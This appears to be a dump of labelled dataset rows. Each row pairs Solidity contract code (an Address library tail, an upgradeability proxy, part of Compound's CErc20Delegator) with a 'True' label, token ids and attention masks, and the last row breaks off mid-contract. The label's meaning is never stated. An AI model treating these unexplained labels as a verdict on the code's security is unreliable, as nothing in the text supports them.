require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
2184,
1025,
12324,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
19706,
1013,
2462,
10362,
19797,
14122,
11657,
6292,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
19706,
1013,
10047,
27241,
2102,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
19706,
1013,
18061,
6455,
9363,
3372,
22648,
9189,
2475,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
19706,
1013,
29464,
11890,
11387,
3207,
14162,
2098,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
19706,
1013,
4921,
23505,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
19706,
1013,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
2692,
2475,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
3229,
1013,
2219,
3085,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
21183,
12146,
1013,
3647,
2121,
2278,
11387,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
3036,
1013,
2128,
4765,
5521,
5666,
18405,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
9413,
2278,
11387,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
1013,
1013,
1013,
1030,
3166,
18373,
9825,
12733,
2854,
1012,
1013,
1013,
1013,
1030,
2516,
18373,
5244,
10880,
20528,
2618,
6292,
1013,
1013,
1013,
1030,
5060,
2462,
10362,
19797,
14122,
11657,
6292,
2000,
21296,
5029,
1999,
18373,
5446,
1013,
1013,
1013,
1030,
16475,
2023,
3206,
2323,
2025,
2031,
2151,
5029,
2012,
1996,
2203,
1997,
2169,
19067,
1012,
3206,
18373,
5244,
10880,
20528,
2618,
6292,
2003,
3988,
21335,
3468,
1010,
2219,
3085,
6279,
24170,
3085,
1010,
9413,
2278,
11387,
6279,
24170,
3085,
1010,
2128,
4765,
5521,
5666,
18405,
6279,
24170,
3085,
1010,
2462,
10362,
19797,
14122,
11657,
6292,
1063,
2478,
3647,
2121,
2278,
11387,
6279,
24170,
3085,
2005,
29464,
11890,
11387,
3207,
14162,
2098,
1025,
1013,
1013,
1013,
1030,
5060,
10318,
19204,
4769,
1006,
1041,
2290,
14163,
16150,
1007,
4769,
2270,
2058,
15637,
19204,
1025,
1013,
1013,
1013,
1030,
5060,
4769,
1997,
1996,
5656,
2109,
1010,
1999,
2023,
2553,
10047,
2271,
2094,
4769,
2270,
2058,
15637,
5656,
18715,
2368,
1025,
1013,
1013,
1013,
1030,
5060,
26066,
2015,
1997,
1996,
10318,
11412,
21318,
3372,
17788,
2575,
2270,
2058,
15637,
19204,
3207,
6895,
9067,
2015,
1025,
1013,
1013,
1013,
1030,
5060,
2028,
10318,
19204,
21318,
3372,
17788,
2575,
2270,
2058,
15637,
2028,
18715,
2368,
1025,
1013,
1013,
1013,
1030,
5060,
18373,
18715,
2368,
3206,
18061,
6455,
9363,
3372,
22648,
9189,
2475,
2270,
10047,
2271,
2094,
1025,
1013,
1013,
1013,
1030,
5060,
10318,
9413,
2278,
11387,
19204,
3206,
29464,
11890,
11387,
3207,
14162,
2098,
2270,
10318,
18715,
2368,
1025,
1013,
1008,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.5.0;
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
contract Proxy {
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
function() external payable {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 {revert(ptr, size)}
default {return (ptr, size)}
}
}
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev This contract represents a proxy where the implementation address to which it will delegate can be upgraded
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(address indexed implementation);
// Storage position of the address of the current implementation
bytes32 private constant IMPLEMENTATION_POSITION = keccak256("fixed.price.trade.1155.proxy.implementation");
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address impl) {
bytes32 position = IMPLEMENTATION_POSITION;
assembly {
impl := sload(position)
}
}
/**
* @dev Sets the address of the current implementation
* @param _newImplementation address representing the new implementation to be set
*/
function _setImplementation(address _newImplementation) internal {
bytes32 position = IMPLEMENTATION_POSITION;
assembly {
sstore(position, _newImplementation)
}
}
/**
* @dev Upgrades the implementation address
* @param _newImplementation representing the address of the new implementation to be set
*/
function _upgradeTo(address _newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != _newImplementation);
_setImplementation(_newImplementation);
emit Upgraded(_newImplementation);
}
}
/**
* @title OwnedUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with basic authorization control functionalities
*/
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
// Storage position of the owner of the contract
bytes32 private constant PROXY_OWNER_POSITION = keccak256("fixed.price.trade.1155.proxy.owner");
/**
* @dev the constructor sets the original owner of the contract to the sender account.
*/
constructor(address _implementation) public {
_setUpgradeabilityOwner(msg.sender);
_upgradeTo(_implementation);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function proxyOwner() public view returns (address owner) {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
owner := sload(position)
}
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address _newOwner) public onlyProxyOwner {
require(_newOwner != address(0));
_setUpgradeabilityOwner(_newOwner);
emit ProxyOwnershipTransferred(proxyOwner(), _newOwner);
}
/**
* @dev Allows the proxy owner to upgrade the current version of the proxy.
* @param _implementation representing the address of the new implementation to be set.
*/
function upgradeTo(address _implementation) public onlyProxyOwner {
_upgradeTo(_implementation);
}
/**
* @dev Sets the address of the owner
*/
function _setUpgradeabilityOwner(address _newProxyOwner) internal {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
sstore(position, _newProxyOwner)
}
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
24540,
1008,
1030,
16475,
3957,
1996,
6061,
2000,
11849,
2151,
2655,
2000,
1037,
3097,
7375,
1012,
1008,
1013,
3206,
24540,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
2991,
5963,
3853,
4352,
2000,
4685,
1037,
11849,
9289,
2140,
2000,
1996,
2445,
7375,
1012,
1008,
2023,
3853,
2097,
2709,
3649,
1996,
7375,
2655,
5651,
1008,
1013,
3853,
1006,
1007,
6327,
3477,
3085,
1063,
4769,
1035,
17727,
2140,
1027,
7375,
1006,
1007,
1025,
5478,
1006,
1035,
17727,
2140,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
3320,
1063,
2292,
13866,
2099,
1024,
1027,
19875,
10441,
2094,
1006,
1014,
2595,
12740,
1007,
2655,
2850,
2696,
3597,
7685,
1006,
13866,
2099,
1010,
1014,
1010,
2655,
2850,
10230,
4697,
1007,
2292,
2765,
1024,
1027,
11849,
9289,
2140,
1006,
3806,
1010,
1035,
17727,
2140,
1010,
13866,
2099,
1010,
2655,
2850,
10230,
4697,
1010,
1014,
1010,
1014,
1007,
2292,
2946,
1024,
1027,
2709,
2850,
10230,
4697,
2709,
2850,
2696,
3597,
7685,
1006,
13866,
2099,
1010,
1014,
1010,
2946,
1007,
6942,
2765,
2553,
1014,
1063,
7065,
8743,
1006,
13866,
2099,
1010,
2946,
1007,
1065,
12398,
1063,
2709,
1006,
13866,
2099,
1010,
2946,
1007,
1065,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4136,
1996,
4769,
1997,
1996,
7375,
2073,
2296,
2655,
2097,
2022,
11849,
2094,
1012,
1008,
1030,
2709,
4769,
1997,
1996,
7375,
2000,
2029,
2009,
2097,
2022,
11849,
2094,
1008,
1013,
3853,
7375,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
2516,
12200,
8010,
21572,
18037,
1008,
1030,
16475,
2023,
3206,
5836,
1037,
24540,
2073,
1996,
7375,
4769,
2000,
2029,
2009,
2097,
11849,
2064,
2022,
9725,
1008,
1013,
3206,
12200,
8010,
21572,
18037,
2003,
24540,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
2023,
2724,
2097,
2022,
22627,
2296,
2051,
1996,
7375,
4152,
9725,
1008,
1030,
11498,
2213,
7375,
5052,
1996,
4769,
1997,
1996,
9725,
7375,
1008,
1013,
2724,
9725,
1006,
4769,
25331,
7375,
1007,
1025,
1013,
1013,
5527,
2597,
1997,
1996,
4769,
1997,
1996,
2783,
7375,
27507,
16703,
2797,
5377,
7375,
1035,
2597,
1027,
17710,
16665,
2243,
17788,
2575,
1006,
1000,
4964,
1012,
3976,
1012,
3119,
1012,
10630,
2629,
1012,
24540,
1012,
7375,
1000,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
9570,
2953,
3853,
1008,
1013,
9570,
2953,
1006,
1007,
2270,
1063,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4136,
1996,
4769,
1997,
1996,
2783,
7375,
1008,
1030,
2709,
4769,
1997,
1996,
2783,
7375,
1008,
1013,
3853,
7375,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
17727,
2140,
1007,
1063,
27507,
16703,
2597,
1027,
7375,
1035,
2597,
1025,
3320,
1063,
17727,
2140,
1024,
1027,
22889,
10441,
2094,
1006,
2597,
1007,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1996,
4769,
1997,
1996,
2783,
7375,
1008,
1030,
11498,
2213,
1035,
2047,
5714,
10814,
3672,
3370,
4769,
5052,
1996,
2047,
7375,
2000,
2022,
2275,
1008,
1013,
3853,
1035,
2275,
5714,
10814,
3672,
3370,
1006,
4769,
1035,
2047,
5714,
10814,
3672,
3370,
1007,
4722,
1063,
27507,
16703,
2597,
1027,
7375,
1035,
2597,
1025,
3320,
1063,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.5.16;
import "./CTokenInterfaces.sol";
/**
* @title Compound's CErc20Delegator Contract
* @notice CTokens which wrap an EIP-20 underlying and delegate to an implementation
* @author Compound
*/
contract CErc20Delegator is CTokenInterface, CErc20Interface, CDelegatorInterface {
/**
* @notice Construct a new money market
* @param underlying_ The address of the underlying asset
* @param comptroller_ The address of the Comptroller
* @param interestRateModel_ The address of the interest rate model
* @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
* @param admin_ Address of the administrator of this token
* @param implementation_ The address of the implementation the contract delegates to
* @param becomeImplementationData The encoded args for becomeImplementation
*/
constructor(address underlying_,
ComptrollerInterface comptroller_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_,
address payable admin_,
address implementation_,
bytes memory becomeImplementationData) public {
// Creator of the contract is admin during initialization
admin = msg.sender;
// First delegate gets to initialize the delegator (i.e. storage contract)
delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,address,uint256,string,string,uint8)",
underlying_,
comptroller_,
interestRateModel_,
initialExchangeRateMantissa_,
name_,
symbol_,
decimals_));
// New implementations always get set via the settor (post-initialize)
_setImplementation(implementation_, false, becomeImplementationData);
// Set the proper admin now that initialization is done
admin = admin_;
}
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public {
require(msg.sender == admin, "CErc20Delegator::_setImplementation: Caller must be admin");
if (allowResign) {
delegateToImplementation(abi.encodeWithSignature("_resignImplementation()"));
}
address oldImplementation = implementation;
implementation = implementation_;
delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData));
emit NewImplementation(oldImplementation, implementation);
}
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function mint(uint mintAmount) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("mint(uint256)", mintAmount));
return abi.decode(data, (uint));
}
/**
* @notice Sender redeems cTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of cTokens to redeem into underlying
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeem(uint redeemTokens) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("redeem(uint256)", redeemTokens));
return abi.decode(data, (uint));
}
/**
* @notice Sender redeems cTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to redeem
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlying(uint redeemAmount) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("redeemUnderlying(uint256)", redeemAmount));
return abi.decode(data, (uint));
}
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrow(uint borrowAmount) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("borrow(uint256)", borrowAmount));
return abi.decode(data, (uint));
}
/**
* @notice Sender repays their own borrow
* @param repayAmount The amount to repay
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrow(uint repayAmount) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("repayBorrow(uint256)", repayAmount));
return abi.decode(data, (uint));
}
/**
* @notice Sender repays a borrow belonging to borrower
* @param borrower the account with the debt being payed off
* @param repayAmount The amount to repay
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("repayBorrowBehalf(address,uint256)", borrower, repayAmount));
return abi.decode(data, (uint));
}
/**
* @notice The sender liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this cToken to be liquidated
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("liquidateBorrow(address,uint256,address)", borrower, repayAmount, cTokenCollateral));
return abi.decode(data, (uint));
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint amount) external returns (bool) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("transfer(address,uint256)", dst, amount));
return abi.decode(data, (bool));
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external returns (bool) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("transferFrom(address,address,uint256)", src, dst, amount));
return abi.decode(data, (bool));
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("approve(address,uint256)", spender, amount));
return abi.decode(data, (bool));
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint) {
bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("allowance(address,address)", owner, spender));
return abi.decode(data, (uint));
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external view returns (uint) {
bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("balanceOf(address)", owner));
return abi.decode(data, (uint));
}
/**
* @notice Get the underlying balance of the `owner`
* @dev This also accrues interest in a transaction
* @param owner The address of the account to query
* @return The amount of underlying owned by `owner`
*/
function balanceOfUnderlying(address owner) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("balanceOfUnderlying(address)", owner));
return abi.decode(data, (uint));
}
/**
* @notice Get a snapshot of the account's balances, and the cached exchange rate
* @dev This is used by comptroller to more efficiently perform liquidity checks.
* @param account Address of the account to snapshot
* @return (possible error, token balance, borrow balance, exchange rate mantissa)
*/
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) {
bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("getAccountSnapshot(address)", account));
return abi.decode(data, (uint, uint, uint, uint));
}
/**
* @notice Returns the current per-block borrow interest rate for this cToken
* @return The borrow interest rate per block, scaled by 1e18
*/
function borrowRatePerBlock() external view returns (uint) {
bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("borrowRatePerBlock()"));
return abi.decode(data, (uint));
}
/**
* @notice Returns the current per-block supply interest rate for this cToken
* @return The supply interest rate per block, scaled by 1e18
*/
function supplyRatePerBlock() external view returns (uint) {
bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("supplyRatePerBlock()"));
return abi.decode(data, (uint));
}
/**
* @notice Returns the current total borrows plus accrued interest
* @return The total borrows with interest
*/
function totalBorrowsCurrent() external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("totalBorrowsCurrent()"));
return abi.decode(data, (uint));
}
/**
* @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
* @param account The address whose balance should be calculated after updating borrowIndex
* @return The calculated balance
*/
function borrowBalanceCurrent(address account) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("borrowBalanceCurrent(address)", account));
return abi.decode(data, (uint));
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return The calculated balance
*/
function borrowBalanceStored(address account) public view returns (uint) {
bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("borrowBalanceStored(address)", account));
return abi.decode(data, (uint));
}
/**
* @notice Accrue interest then return the up-to-date exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateCurrent() public returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("exchangeRateCurrent()"));
return abi.decode(data, (uint));
}
/**
